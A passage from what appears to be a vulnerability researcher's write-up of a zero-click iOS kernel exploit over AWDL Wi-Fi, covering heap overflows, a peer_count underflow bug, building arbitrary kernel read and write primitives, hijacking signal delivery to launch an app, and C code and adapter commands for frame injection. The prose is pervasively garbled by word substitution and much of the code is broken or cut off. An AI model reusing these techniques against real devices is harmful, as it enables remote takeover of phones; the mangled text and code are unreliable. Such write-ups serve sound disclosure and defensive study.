Buy that at this degree nonetheless I'm the make the most of of a 2.4Ghz handiest WiFi adaptor for injection and monitoring and the ultimate discover recordsdata cost I'm succesful of get to work is 1Mbps. In degree of reality getting 33 frames onto the air inside 1024ms, notably as handiest a allotment of that point will seemingly be AWDL Availability Windows, is most most undoubtedly now not seemingly.

Furthermore, as I with out warning want a methods further accuracy by method of colourful whether or not frames have been bought or now not, I launch to witness how unreliable my visible present unit instrument is. It seems to be repeatedly dropping frames, with an error cost seemingly positively-correlated with how prolonged the adapter has been plugged in. After some time my discovering out mannequin entails having to unplug the injection and monitoring adaptors after each check out to permit them to chilly down. This confidently provides a style of how annoying many elements of this exploit sample processes have been. With out an actual and instantaneous discovering out setup prototyping ideas is painfully gradual, and determining whether or not an realizing did now not work is made tougher on account of you by no means know in case your realizing did now not work, or if it was but yet another {hardware} failure.

It be probably now not prone to invent the timing assessments flow into the make the most of of supposed behaviour with the current setup. But we quiet decide up only a few strategies up our sleeve. We enact decide up a reminiscence corruption vulnerability regardless of each little factor.

Taking a decide about on the 2 related fields per_second_timestamp and n_frames_in_last_second we witness that they're on the subsequent offsets:

/+0x1648 */  struct ether_addr sync_tree_macs[10];

/+0x1684 */  uint8_t sync_error_count;

/+0x1685 */  uint8_t had_chanseq_tlv;

/+0x1686 */  uint8_t pad3[2];

/+0x1688 */  uint64_t per_second_timestamp;

/+0x1690 */  uint32_t n_frames_in_last_second;

/+0x1694 */  uint8_t pad21[4];

/+0x1698 */  void *steering_msg_blob;

/+0x16A0 */  uint32_t steering_msg_blob_size;

So the timestamp (which is absolute, now not relative) and the body rely are true after the sync tree buffer which we will overflow out of which means we will reliably depraved them and supply a unfounded timestamp and rely.

Arbitrary add realizing 1: clock synchronization

My first realizing was to look at to go looking out out the delta between the goal instrument's absolute clock and the raspberry pi working the exploit. Then safely triggering an arbitrary add can be a 3 step job:

1) Compute a sound per_second_timestamp price at a degree true sooner or later and enact a transient overflow inside upper_peer to current it that arbitrary timestamp and a excessive n_frames_in_last_second price.

2) Manufacture a prolonged overflow from lower_peer to depraved upper_peer's peer_manager pointer to degree 0x7c80 bytes beneath the arbitrary add goal.

3) Spoof a body from upper_peer the place the dimensions corresponds to the dimensions of the arbitrary add. As prolonged as a result of the timestamp we wrote in step 1 is far lower than 1024 ms earlier than the goal instrument's current current clock, and the n_frames_in_last_second is quiet gargantuan, we are going to hit the early error return course.

To pull this off we are going to want to synchronize our clocks. AWDL itself is constructed on true timing and there are timing values in each AWDL body. But they get now not really assist us that important on account of those are relative timestamps whereas we would like absolute timestamps.

Fortunately we now already decide up a restricted learn former, and in actuality we now decide up already by chance earlier it to leak a timestamp:

The identical annotated hexdump from the preliminary learn former when it stumbled on two neighbouring buddies. At offset +0x43 within the dump we will peek the per_second_timestamp price. We'd now rob to leak little question one among these which we strain to be house at an proper second in time

We can make the most of the preliminary diminutive arbitrary learn former once more beneath further managed stipulations to look at to go looking out out the clock delta like this:

1) Wait 1024 ms.

2) Spoof a body from lower_peer, which is ready to cause it to get a glossy per_second_timestamp.

3) Once we obtain an ACK, negate the current timestamp on the raspberry pi.

4) Use the BSS Guidance learn to learn lower_peer's timestamp.

5) Convert the two timestamps to the identical objects and compute the delta.

Now we will raze the arbitrary write as described above by the make the most of of the SyncTree overflow inside upper_peer to current it a unfounded and gracious per_second_timestamp and n_frames_in_last_second price. This works, and we will add an arbitrary byte to an arbitrary deal with!

Unfortunately or not it's now not very dependable. There are too many issues to traipse scandalous proper right here, and for a painful couple of weeks each little factor went scandalous. At the origin, as beforehand mentioned, the injection and monitoring {hardware} is true too unreliable. If we traipse away out ACKs we discover your self getting the clock delta scandalous, and if the clock delta is just too scandalous we are going to scare the goal. Additionally, we're quiet sending frames very slowly, and the slower this all happens the lower the probability that our unfounded timestamp stays gracious by the extent or not it's earlier. We want an means which works to work a methods further reliably.

Having to synchronize the clocks is fragile. Taking a decide about further fastidiously on the code, I noticed there was yet another method to succeed in the error bail out course with out manually syncing.

If we wait 1024ms then spoof a body, the sight building will get a glossy timestamp which is ready to flow into the timestamp check for the subsequent 1024ms. 

We will now not enact that after which overflow into the n_frames_in_last_second self-discipline, on account of that self-discipline is after the per_second_timestamp so we might depraved it. But there's ceaselessly a way to depraved the n_frames_in_last_second self-discipline with out touching the timestamp:

1) Wait 1024ms then spoof a sound body from upper_peer, giving its IO80211AWDLPeer object a sound per_second_timestamp.

2) Overflow from lower_peer into upper_peer, ambiance upper_peer's peer_manager pointer to 0x7c80 bytes earlier than upper_peer's frames_in_last_second counter.

3) Spoof a sound body from upper_peer.

Let's decide about further fastidiously at precisely what is going on to occur now:

It be now the case that this->peer_manager beneficial properties 0x7c80 earlier than sight->n_frames_in_last_second when IO80211AWDLPeer::actionFrameReport will get referred to as on upper_peer:



Because we now decide up corrupted upper_peer's peer_manager pointer, peer_manager->total_bytes_received overlaps with upper_peer->n_frames_in_last_second, which means this add will add the body dimension to upper_peer->n_frames_in_last_second! The beneficial fragment is that this write happens earlier than n_frames_in_last_second is checked!

  peer_manager->total_bytes_received +=frame_len;





And if we're instantaneous sufficient we are going to quiet flow into this check, on account of we now decide up a real timestamp:

  if ( ((absolute_time_now - per_second_timestamp) / 1000000)

        > 1024 )// greater than 1024ms distinction




and now we are going to moreover flow into this check and return:

  else if ( frames_in_last_second>=0x21 )


    *(_DWORD *)(a2 + 20)=1;

    return 0;


We've now bought a timestamp quiet gracious for some allotment of 1024ms and n_frames_in_last_second is extremely gargantuan, with out having to ship that many frames throughout the 1024ms window or having to manually synchronize the clocks.

The fourth step is then to overflow once more from lower_peer to upper_peer, this time pointing peer_manager to 0x7c80 beneath the desired add goal. At closing, spoof a body from upper_peer, padded to the true dimension for the desired add price.

The closing timing trick for now was to look after we could presumably presumably effectively skip the preliminary 1024ms wait by first overflowing inside upper_peer to house its timestamp to 0. Then the subsequent gracious body spoofed from upper_peer can be apparent to house a sound per_second_timestamp usable for the subsequent 1024 ms. In this vogue we will make the most of the arbitrary write slightly quickly, and launch developing our subsequent former. Other than...

Earlier I by chance discovered yet another exploitable zero day. Happily it was considerably straightforward to retain a methods from triggering it, however my exploit continued to scare the goal instrument in an enormous amount of strategies. Clearly, as earlier than, I'd type of demand this and certainly I labored out only a few strategies whereby I used to be probably inflicting panics.

One was that after I used to be overwriting the peer_manager pointer I used to be moreover overwriting the flink and blink pointers of the sight within the linked listing of buddies. If buddies had been added or faraway from the listing since I had taken the copy of those pointers I'll presumably presumably effectively now be corrupting the listing, probably along with encourage customary pointers or altering the advise. This was certain to cause problems so I added a workaround: I'd invent advantageous that no spoofed buddies ever bought freed. That is modest to place in strain; true invent advantageous each sight spoofs a body spherical each 20 seconds or so and in addition you may be trustworthy.

But my check out instrument was quiet panicking, so I determined to essentially dig into only a few of the panics and decide precisely what seems to be happening. Am I by chance triggering but yet another zero-day?

After a day or so of analysis and reversing I heed that sure, that is indubitably yet another exploitable zero-day in AWDL. That is the third, moreover reachable within the default configuration of iOS.

This vulnerability took enormously further effort to look after than the double free. The situation is further refined and boils all the way down to a failure to determined a flag. With out a upfront recordsdata of the names or capabilities of those flags (and there are a whole bunch of flags in AWDL) it required a complete lot of painstaking reverse engineering to find out what's occurring. Let's dive in.

resetAndTake awayPeerInfo is a member means of the IO80211PeerBssSteeringManager. It be referred to as when a sight is being destructed:

IO80211PeerBssSteeringManager::resetAndTake awayPeerInfo(

  IO80211AWDLPeer *sight) {

  struct BssSteeringCntx *cntx;

  if (!sight) {

    // log error and return



  struct BssSteeringCntxcntx=this->steering_cntx;

  if (cntx->peer_count) {

    for (uint64_t i=0; i peer_count; i++) {

      if (memcmp(&cntx->peer_macs[i], &sight->peer_mac, 6uLL)==0) {

        memset(&cntx->peer_macs[i], 0, 6uLL); 






We can peek a callsite proper right here in IO80211AWDLPeerSupervisor::take awayPeer:

if (sight->added_to_fw_cache) {

  if (this->steering_manager)  {

    this->steering_manager->resetAndTake awayPeerInfo(sight);



added_to_fw_cache is a reputation I really decide up given to the flag self-discipline at +0x4b8 in IO80211AWDLPeer. We can peek that if a sight with that flag house is destructed then the sight supervisor will title the steering_manager's resetAndTake awayPeerInfo means confirmed above.

resetAndTake awayPeerInfo clears that flag then iterates by the steering context object's array of currently-being-advised sight MAC addresses. If the sight being destructed's MAC deal with is stumbled on in there, then or not it's memset to 0.

The frequent sense already seems just a little bizarre; they decrement peer_count however get now not shrink the dimensions of the array by swapping the empty slot with the closing gracious entry, which means this may handiest work as a result of it could presumably be if the buddies are destructed in the suitable reverse advise that they have been added. Kinda bizarre, however probably now not a safety vulnerability.

The frequent sense of this objective means peer_count will seemingly be decremented at any time when it runs. But what would occur if this objective have been referred to as further occasions than the preliminary price of peer_count? In the primary further invocation the memcmp loop would now not ticket and peer_count can be decremented from 0 to 0xffffffff, however within the second further invocation, the peer_count is non-zero, so it is going to most definitely presumably presumably effectively enter the memcmp/memset loop. But the ultimate discover loop termination situation is i>=peer_count, so this loop will try and pace Four billion occasions, indubitably going off the tip of the Eight entry peer_macs array:

struct __attribute__((packed)) BssSteeringCntx {

/+0x0000 */  uint32_t first_field;

/+0x0004 */  uint32_t service_type;

/+0x0008 */  uint32_t peer_count;

/+0x000C */  uint32_t function;

/+0x0010 */  struct ether_addr peer_macs[8];

/+0x0040 */  struct ether_addr infraBSSID;

/+0x0046 */  uint8_t pad4[6];

/+0x004С */  uint32_t infra_channel_from_datapath_tlv;

/+0x0050 */  uint8_t pad8[8];

/+0x0058 */  char ssid[32];

/+0x0078 */  uint8_t pad1[12];

/+0x0084 */  uint32_t num_peers_added_to_umi;

/+0x0088 */  uint8_t pad_10;

/+0x0089 */  uint8_t pendingTransitionToNewState;

/+0x008А */  uint8_t pad7[2];

/+0x008C */  enum BSSSteeringState current_state;

/+0x0090 */  uint8_t pad5[8];

/+0x0098 */  struct IOTimerEventSource *bssSteeringExpiryTimer;

/+0x00A0 */  struct IOTimerEventSource *bssSteeringStageExpiryTimer;

/+0x00A8 */  uint8_t pad9[8];

/+0x0000 */  uint32_t steering_policy;

/+0x00B4 */  uint8_t inProgress;


My reverse engineered model of the BSS Guidance context object. I've managed to call a great deal of the fields.

That is handiest a vulnerability if or not it's that you could be presumably presumably effectively trust to call this objective peer_count+2 occasions. (To decrement peer_count all the way down to 0, then house it to -1, then re-enter with peer_count=-1.)

Whether or now not or now not resetAndTake awayPeerInfo typically referred to as when a sight is destructed depends handiest on whether or not that sight has the added_to_fw_cache flag house; this provides us an inequality: the assortment of sight's with added_to_fw_cache house must be a lot lower than or equal to peer_count+1. Doubtlessly or not it's really imagined to be the case that peer_count must be equal to the assortment of buddies with that flag house. Is that the case?

No, or not it's now not. After steering fails we restart the BSS Guidance thunder machine by sending a model glossy BSSSteering TLV with a steeringMsgID of 6 moderately than 0; this implies the steering thunder machine will get a BSS_STEERING_REMOTE_STEERING_TRIGGER match moderately than the BSS_STEERING_RECEIVED_DIRECTED_STEERING_CMD which was earlier to launch it. This resets the steering context object, filling the peer_macs array with no matter glossy sight macs we specify within the glossy DIRECTED_STEERING_CMD TLV. If we specify varied buddies to these already within the context's peer_macs array, then these earlier entries' corresponding IO80211AWDLPeer objects get now not decide up their added_to_fw_cache self-discipline cleared, nevertheless the glossy buddies enact get that flag house.

This implies that the assortment of buddies with the flags house turns into larger than context->peer_count, in advise the buddies not directly get destructed peer_count goes all the way down to zero, underflows then causes reminiscence corruption.

I used to be hitting this situation at any time as soon as I restarted steering, although it is going to most definitely presumably presumably effectively eradicate a while for the instrument to essentially kernel scare for the reason that suggested buddies essential to timeout and get destructed.

Root inflicting this second bonus remotely-triggerable iOS kernel reminiscence corruption was important tougher than the primary bonus double-free; the rationale given above took only a few days work. It was beneficial although as I wanted to work spherical each of those vulnerabilities to invent advantageous I did now not by chance house off them, which in complete added an enormous quantity of additional work. 

The work-round on this case was to invent advantageous that I handiest ever restarted steering the identical buddies; with that commerce we now not hit the peer_count underflow and handiest depraved the reminiscence we're trying to depraved! This self-discipline was mounted in iOS 13.6 as CVE-2020-9906.

The goal is not any longer randomly kernel panicking even as soon as we get now not house off the supposed Sync Tree heap overflow, so let's get encourage to the exploit.

We decide up an arbitrary add former nevertheless it fully's now not slightly an arbitrary write but. For that, we need to know the distinctive values so we will compute the true per-byte body sizes to overflow each byte to jot down a in actuality arbitrary price.

Doubtlessly we are going to want to make the most of the arbitrary add to depraved one factor in a sight or the sight supervisor such that we will get it to take a look at an arbitrary pointer when developing an MI or PSF body which is ready to be despatched over the air.

I went encourage to IDA and spent a really prolonged time having a decide about by code to ogle for this type of former, and stumbled on one within the building of the Carrier Seek recordsdata from of Descriptor TLVs in MI frames:


  (char *buffer, u32 total_size ...



  if ( req_desc ){

    desc_len=req_desc->desc_len;        // dimension



    if (desc_len && desc_ptr && tlv_len

      buffer[offset]=16; // kind

      *(u16*)&buffer[offset+1]=desc_len + 1; // len





        total_size - offset - 4);


This is studying an IO80211ServiceRequestDescriptor object pointer from the peer supervisor from which it reads one other pointer and a size. If there's house within the MI body for that size of buffer then it calls the RequestDescriptor's copyDataOnly methodology, which merely copies from the RequestDescriptor into the MI body template. It's solely studying these two pointer and size fields that are at offset +0x40 and +0x54 within the request descriptor, so by pointing the IO80211AWDLPeerSupervisor's req_desc pointer to knowledge we management we will trigger the subsequent MI template which is generated to comprise knowledge learn from an arbitrary tackle, this time with no restrictions on the information being learn.

We can use the restricted learn primitive we at the moment need to learn the prevailing worth of the req_desc pointer, we simply want to seek out someplace beneath it within the peer_manager object the place we all know there'll at all times be a set, small dword we will use because the size worth wanted for the learn. Indeed, a couple of bytes beneath this there's such a price.

The first trick is in selecting someplace to level the req_desc pointer to. We need to select someplace the place we will simply replace the learn goal with out having to set off the reminiscence corruption. From studying the TLV parsing code I knew there have been some TLVs which have little or no processing. A superb instance, and the one I selected to make use of, is the NSync TLV. The solely processing is to examine that the full TLV size together with the header is lower than or equal to 0x40. That total TLV is then memcpy'ed right into a 0x40 byte buffer within the peer object at offset +0x4c4:

memcpy(this->nsync_tlv_buf, tlv_ptr, tlv_total_len);

We can make the most of the arbitrary write to degree the peer_manager's req_desc pointer to true beneath the lower_peer's nsync_tlv buffer such that by spoofing NSync TLVs from lower_peer we will replace the unfounded descriptor pointer and dimension values.

Some care wishes to be taken when corrupting the req_desc pointer nonetheless as we will at the moment handiest enact byte-by-byte writes and the req_desc pointer can even merely be learn whereas we're corrupting it. We subsequently want a way to forestall these reads.

IO80211AWDLPeerSupervisor::updateBroadcastMI is on the extreme course for the learn, which means that at any time when the MI body is up to date it need to battle by this objective, which comprises the subsequent check:

if (this->frames_outstanding frames_limit) {


frames_limit is initialized to a mounted price of three. If we first make the most of the arbitrary add to invent frames_outstanding very gargantuan, this check will fail and the MI template could presumably presumably effectively now not be up to date, and the req_desc member could presumably presumably effectively now not be learn. Then after we're executed corrupting the req_desc pointer we will house this price encourage to its long-established price and the MI templates will seemingly be up to date once more and the arbitrary learn will work.

A easy method to enact that is to be succesful so as to add 0x80 to mainly the most-valuable byte of frames_outstanding. The first time we enact this this may invent frames_outstanding very gargantuan. If it have been 2 to launch with it is going to most definitely presumably presumably effectively traipse from: 0x00000002 to 0x80000002.

Along facet 0x80 to that MSB as second time would cause it to then overflow encourage 0, resetting the price to 2 once more. This for advantageous has the facet ticket of along with 1 to the subsequent dword self-discipline within the peer_manager when it overflows, however happily this does not cause any problems.

Now by spoofing an NSync TLV from lower_peer and monitoring for a commerce within the contents of the 0x10 TLV despatched by the goal in MI frames we will learn arbitrary kernel recordsdata from arbitrary addresses.

We decide up a in actuality arbitrary learn, however sadly it typically is just just a little gradual. Usually it takes only a few seconds for the MI template to be up to date. What we would like is a way to strain the MI template to be regenerated on request.

Taking a decide about by the unsuitable references to IO80211AWDLPeerSupervisor::updateBroadcastMI I noticed that it seems the MI template will get regenerated at any time when the sight bloom filter will get up to date in IO80211AWDLPeerSupervisor::replacePeerListBloomFilter. As we noticed important earlier on this publish, and I had specific months earlier than this degree, the bloom filter code is now not earlier. But... we now decide up an arbitrary add so we could presumably presumably effectively true flip it on!

Certainly, by flipping the flag at +0x5950 within the IO80211AWDLPeerSupervisor we will allow the sight bloom filter code.

With sight bloom filters enabled at any time when the goal sees a model glossy sight, it regenerates the MI template in advise to invent advantageous or not it's broadcasting an up-to-date bloom filter containing the whole buddies it is aware of about (or now not a lot lower than the primary 256 within the sight listing.) This means we will invent our arbitrary learn important important quicker: we true want to ship the true NSync TLV containing our learn goal then spoof a model glossy sight and rely on an up to date MI. With this contrivance full we will learn arbitrary distant kernel reminiscence over the air at a cost of many kilobytes per second.

At this degree we will invent the identical earlier abstraction layer earlier by a neighborhood privilege escalation exploit, excluding this time or not it's distant.

The basic kernel reminiscence learn objective is:

voidrkbuf(uint64_t kaddr, uint32_t len);

With some helpers to invent the code further implausible:

uint64_t rk64(uint64_t kaddr);

uint32_t rk32(uint64_t kaddr);

uint8_t rk8(uint64_t kaddr);

In the identical means for writing kernel reminiscence, we now decide up the basic write means:

void wk8(uint64_t kaddr, uint8_t desired_byte);

and a few helpers:

void wkbuf(uint64_t kaddr, uint8_tdesired_value, uint32_t len);

void wk64(uint64_t kaddr, uint64_t desired_value);

void wk32(uint64_t kaddr, uint32_t desired_value);

From this degree the exploit code begins to evaluate about hundreds further like a typical native privilege escalation exploit and the distant half is nearly solely abstracted away.

That is already sufficient to pop calc. To enact this we true want a way to inject a retain an eye fixed on float edge into userspace a way or the alternative. Somewhat of grepping by the XNU code and I stumbled throughout the code dealing with BSD sign delivery which regarded promising.

Every job building has an array of sign handlers; one per sign amount.

struct sigacts {

  user_addr_t ps_sigact[NSIG];   /disposition of indicators */

  user_addr_t ps_trampact[NSIG]; /disposition of indicators */


The ps_trampact array comprises userspace objective pointers. When the kernel needs a userspace job to deal with a sign it seems up the sign amount in that array:


then objects the userspace thread's laptop computer laptop computer price to that:






    (person64_addr_t)&((struct user_sigframe64*)sp)->sinfo,






Where sendsig_set_thread_state64 seems like this:

static kern_return_t

sendsig_set_thread_state64(arm_thread_state64_t *regs,

                           person64_addr_t catcher,

                           int infostyle,

                           int sig,

                           person64_addr_t p_sinfo,

                           person64_addr_t p_uctx,

                           person64_addr_t token,

                           person64_addr_t trampact,

                           person64_addr_t sp,

                           thread_t th_act) {







  regs->laptop computer laptop computer=trampact;



  return thread_setstatus(th_act,


                          (void *)regs,



The catcher price in X0 is moreover solely managed, learn from the ps_sigact array.

Advise that the kernel APIs for ambiance userspace register values get now not require userspace pointer authentication codes.

We can house X0 to the fastened CFString "" already degree to within the dyld_shared_cache. On 13.Three on the 11 Good that is at 0x1BF452778 in an unslid shared cache.

We house PC to this gadget in CommunicationSetupUI.framework:

MOV  W1, #0

BL   _SBSLaunchApplicationWithIdentifier

This clears W1 then calls SBSLaunchApplicationWithIdentifier, a Springboard Services and merchandise Framework personal API for launching apps.

The closing fragment of this puzzle is discovering a job to inject the unfounded sign into. It wishes to make a choice up the entitlement in advise for Springboard to job the beginning request. Utilizing Jonathan Levin's entitlement database or not it's straightforward to go looking out the listing of injection candidates.

We remotely traverse the linked listing of working processes purchasing for a sufferer, house a unfounded sign handler then invent a thread in that job bear it has to deal with a sign by OR'ing within the true sign amount within the uthread's siglist bitmap of pending indicators:

wk8(uthread+0x10c+3, 0x40); // uthread->siglist

and not directly making the thread bear it wishes to deal with a BSD AST:

wk8_no_retry(thread+0x2e8, 0x80); // thread->act |=AST_BSD

Now, when this thread will get scheduled and tries to dealing with pending ASTs, this may try and deal with our unfounded sign and a calculator will appear:

An iPhone 11 Good working with a visible present unit within the background exhibiting the output from the closing stage of the AWDL exploit

We've popped calc, we're executed! Or are we? It be kinda gradual, and there is no true cause of it to be so gradual. We managed to invent slightly a fast arbitrary learn former in order that's now not the bottleneck. The basic bottleneck in the interim is the preliminary BSS Guidance-essentially basically based mostly learn. It be taking Eight seconds per learn on account of it needs the thunder machine to day out between each try.

As we noticed, nonetheless, the BSS Guidance TLV implies that we must be in a task to steer as a lot as Eight buddies on the identical time, which means that we must be in a task to toughen our learn pace by now not a lot lower than 8x. If reality be instructed, if we will get away with Eight or fewer preliminary reads our learn pace can even merely be important quicker than that.

Alternatively, when you are trying and steer Eight buddies concurrently, it would not slightly work as anticipated:

When only a few buddies are suggested the UMIs flood the airwaves. In this occasion I used to be steering Eight buddies nevertheless the frames are dominated by UMIs to the primary sight. You could presumably presumably effectively peek a handful of UMIs to : 06, and one to : 02 amongst the handfuls to : 00.

Finding out in opposition to MacOS we moreover peek the subsequent log message:

Seek 22: 22:aa: 22: 00: 00 DID NOT ack our UMI

When the goal tries to steer Eight buddies on the identical time it begins flooding the airwaves with UMI frames directed on the goal buddies - so many indubitably that it by no means really manages to ship the UMIs for all Eight steering targets earlier than timing out.

We've already lined stall the preliminary sending of UMIs by controlling the channel sequence, nevertheless it fully seems like we're moreover going to want to ACK the UMI frames.

As we noticed earlier, ACKs in 80211.a and g are timing basically basically based mostly. To ACK a body you decide up gotten to ship the ACK within the fast window following the transmission of the body. We positively cannot enact that the make the most of of libpcap, the timing needs microsecond precision. We probably cannot even enact that with a personalised kernel driver.

There could presumably be nonetheless an obscure WiFi adaptor visible present unit mode attribute referred to as "Sharp Be aware Mode", supported by only a few chipsets.

Sharp visible present unit mode lets you inject and visible present unit arbitrary frames as typical, excluding in full of life visible present unit mode (moderately than typical visible present unit mode) the adaptor will quiet ACK frames in the event that they're being despatched to its MAC deal with.

The Mediatek MT76 chipset was the ultimate discover one I'll presumably presumably effectively achieve with a USB adaptor that helps this attribute. I bought a bunch of MT76-essentially basically based mostly adaptors and the ultimate discover one the place I'll presumably presumably effectively really get this attribute to work was the ZyXEL NWD6605 which makes use of an mt76x2u chipset.

The ultimate discover self-discipline was that I'll presumably presumably effectively handiest get Sharp Be aware Mode to essentially work when working at 12 Mbps on a 5GHz channel however my current setup was the make the most of of adaptors which weren't really useful of 5GHz injection.

I had tried beneficiant encourage initially of the exploit sample job to get 5GHz injection and monitoring to work; after trying for per week with a whole bunch adaptors and developing many, many branches of kernel drivers and fidgeting with radiotap headers I had given up and determined to degree of curiosity on getting one factor engaged on 2.4GHz with my earlier adaptors.

This time spherical I true bought the whole adaptors I'll presumably presumably effectively achieve which regarded like they'd presumably presumably want even the remotest probability of working and tried once more.

One of many challenges is that OEMs could presumably presumably effectively now not repeatedly make the most of the identical chipset or revision of chipset in a instrument, which means getting rob of a specific chipset and revision typically is a success-and-traipse away out job.

Listed beneath are the whole adaptors which I earlier throughout this exploit to look at to go looking out toughen for the beneficial properties I essential:

Your full WiFi adaptors examined throughout this exploit sample job, from prime left to backside beneficiant: D-Hyperlink DWA-125, Netgear WG111-v2, Netgear A6210, ZyXEL NWD6605, ASUS USB-AC56, D-Hyperlink DWA-171, Vivanco 36665, tp-hyperlink Archer T1U, Microsoft Xbox wi-fi adaptor Model 1790, Edimax EW-7722UTn V2, FRITZ!WLAN AC430M, ASUS USB-AC68, tp-hyperlink AC1300

In the tip I required two varied adaptors to get the beneficial properties I essential:

Sharp visible present unit mode and body injection: ZyXEL NWD6605 the make the most of of mt76x2u driver

Be aware mode (along with administration and ACK frames): Netgear A6210 the make the most of of rtl8812au driver

With this setup I used to be in a task to get body injection, visible present unit mode sniffing of all frames along with administration and ACK frames furthermore Sharp visible present unit mode to work at 12 Mbps on channel 44.

You could presumably presumably effectively allow the attribute like this:

ip hyperlink house dev wlan1 down

iw dev wlan1 house type visible present unit

iw dev wlan1 house visible present unit full of life retain an eye fixed on otherbss

ip hyperlink house dev wlan1 up

iw dev wlan1 house channel 44

We can commerce the cardboard's MAC deal with the make the most of of the ip instrument like this:

ip hyperlink house dev wlan1 down

ip hyperlink house wlan1 deal with 44: 44: 22: 22: 22: 22

ip hyperlink house dev wlan1 up

Altering the MAC deal with like this takes now not a lot lower than a second and the interface need to be down. Since we're making an try to invent these reads as instantaneous as that you could be presumably presumably effectively trust I determined to look at how this mac deal with altering really labored to peek if I'll presumably presumably effectively pace it up...

Three strategies to house a MAC: 1 - ioctl

The earlier method to house a neighborhood instrument MAC deal with is to make the most of the SIOCSIFHWADDR ioctl:

struct ifreq ifr={0};

uint8_t mac[6]={0x22, 0x23, 0x24, 0x00, 0x00, 0x00};

memcpy(&ifr.ifr_hwaddr.sa_data[0], mac, 6);

int s=socket(AF_INET, SOCK_DGRAM, 0);

strcpy(ifr.ifr_name, "wlan1");


int ret=ioctl(s, SIOCSIFHWADDR, &ifr);

printf("ioctl retval: %dn", ret);

This interface is deprecated and would not work in the slightest degree for this driver.

Three strategies to house a MAC: 2 - netlink

The current supported interface is netlink. It took a full day to be taught sufficient about netlink to jot down a standalone PoC to commerce a MAC deal with. Netlink is presumably very extremely implausible however moreover slightly obtuse. And even regardless of each little factor that (per probability unsurprisingly) or not it's no quicker than the impart line instrument which is de facto true making these identical netlink API calls too.

Strive change_mac_nl.c within the launched exploit provide code to peek the netlink code.

Three strategies to house a MAC: 3 - hacker

Seeking to enact this the supported means has failed, or not it's true means too gradual. But alive to in it, what is the MAC anyway? It be nearly indubitably true some self-discipline saved in flash or RAM on the chipset and sure, diving in to the mt76x2u linux kernel driver provide and tracing the capabilities which house the MAC deal with we will peek that ends up writing to some configuration registers on the chip:

#elaborate MT_MAC_ADDR_DW0 0x1008

#elaborate MT_MAC_ADDR_DW1 0x100c

void mt76x02_mac_setaddr(struct mt76x02_dev *dev, const u8 *addr)


  static const u8 null_addr[ETH_ALEN]={};

  int i;

  ether_addr_copy(dev->mt76.macaddr, addr);

  if (!is_valid_ether_addr(dev->mt76.macaddr)) {



             "Invalid MAC deal with, the make the most of of random deal with %pMn",








          get_unaligned_le16(dev->mt76.macaddr + 4) |

            FIELD_PREP(MT_MAC_ADDR_DW1_U2ME_MASK, 0xff));


I ponder if I'll presumably presumably effectively true write straight to these configuration registers? Would it now not solely blow up? Or wouldn't it now not true work? Is there a really straightforward method to enact this or will I really need to patch the driving force?

Taking a decide about throughout the driving force trustworthy just a little we will peek it has a debugfs interface. Debugfs is a terribly trim means for drivers to with out problems present a whole bunch inside stuff out to userspace, restricted to root, for logging and monitoring furthermore for messing spherical with:

root@raspberrypi:/sys/kernel/debug/ieee80211/phy7/mt76# ls

agc  ampdu_stat  dfs_stats  edcca  eeprom  led_pin  queues  rate_txpower  regidx  regval  temperature  tpc  tx_hang_reset  txpower

What we're after is a way to jot all the way down to arbitrary retain an eye fixed on registers, and these two debugfs recordsdata will let you enact precisely that:

# cat regidx


# cat regval


Whenever you occur to jot down the deal with of the configuration register you must learn or write to the regidx file as a decimal price then studying or writing the regval file lets you learn or write that configuration register as a 32-bit hexadecimal price. Advise that exposing configuration registers this vogue is a attribute of this inform driver's debugfs interface, now not a generic attribute of debugfs. With this we will solely skip the netlink interface and the requirement to raise the instrument down and as an completely different straight manipulate the inside thunder of the adaptor.

I substitute the netlink code with this:

void mt76_debugfs_change_mac(charphy_str, struct ether_addr new_mac) {

    union mac_dwords {

      struct ether_addr new_mac;

      uint32_t dwords[2];

    } recordsdata={0};


    char lower_dword_hex_str[16]={0};

    snprintf(lower_dword_hex_str, 16, "0x%08xn", recordsdata.dwords[0]);

    char upper_dword_hex_str[16]={0};

    snprintf(upper_dword_hex_str, 16, "0x%08xn", recordsdata.dwords[1]);









    file_write_string(regidx_path, "4104n");

    file_write_string(regval_path, lower_dword_hex_str);

    file_write_string(regidx_path, "4108n");

    file_write_string(regval_path, upper_dword_hex_str);




and... it really works! The adaptor right away begins ACKing frames to whichever MAC deal with we write in to the MAC deal with self-discipline within the adaptor's configuration registers.

All that is then required is a rewrite of the early learn code:

Now it begins out steering Eight stalled buddies. Each and every time a learn is requested, if there's quiet time left earlier than steering will timeout and there are quiet stalled buddies, one stalled sight is chosen, has or not it's steering_msg_blob pointer corrupted with the learn goal and can get unstalled. The goal will launch sending UMIs to that sight, we house the true MAC deal with on the full of life visible present unit instrument, sniff the UMI and ACK it to forestall the sight sending further. From the UMI we extract the price from TLV 0x1d and get the disclosed kernel reminiscence.

If there are now not any further stalled buddies, or steering has timed out, we wait a fetch period of time until we're in a task to restart all Eight buddies and launch once more:

struct ether_addr reader_peers[8];

struct early_read_params {

    struct ether_addr dst;


} er_para;

void init_early_read(struct ether_addr dst, charphy_str) {



  reader_peers[0]=*(ether_aton("22: 22:aa: 22: 00: 00"));

  reader_peers[1]=*(ether_aton("22: 22:aa: 22: 00: 01"));

  reader_peers[2]=*(ether_aton("22: 22:aa: 22: 00: 02"));

  reader_peers[3]=*(ether_aton("22: 22:aa: 22: 00: 03"));

  reader_peers[4]=*(ether_aton("22: 22:aa: 22: 00: 04"));

  reader_peers[5]=*(ether_aton("22: 22:aa: 22: 00: 05"));

  reader_peers[6]=*(ether_aton("22: 22:aa: 22: 00: 06"));

  reader_peers[7]=*(ether_aton("22: 22:aa: 22: 00: 07"));


// thunder required between early reads:

uint64_t steering_begin_timestamp=0;

int n_steered_peers=0;

voidtry_early_read(uint64_t kaddr, size_tout_size) {

  struct ether_addr peer_b=*(ether_aton("22: 22:bb: 22: 00: 00"));

  int n_peers=8;

  struct ether_addr reader_peer;

  int should_restart_steering=0;

  // what part are we in?

  uint64_t milliseconds_since_last_steering=

    (now_nanoseconds() - steering_begin_timestamp) /



  if (milliseconds_since_last_steering


    // if a lot lower than 5 seconds decide up elapsed since we began steering

    // and we now decide up now not reached the sight restrict, then steer the subsequent sight


  } else if (milliseconds_since_last_steering

    // rely on the steering machine to timeout so we will restart it

    usleep((8000 - milliseconds_since_last_steering) 1000);


  } else {

    // greater than Eight seconds decide up already elapsed since we closing 

    //began steering (or we now decide up by no means began it) so restart



  if (should_restart_steering) 0x800),




           WIFI(er_para.dst, peer_b),





           BSS_STEERING_0(reader_peers, n_peers),





  char overflower[128]={0};



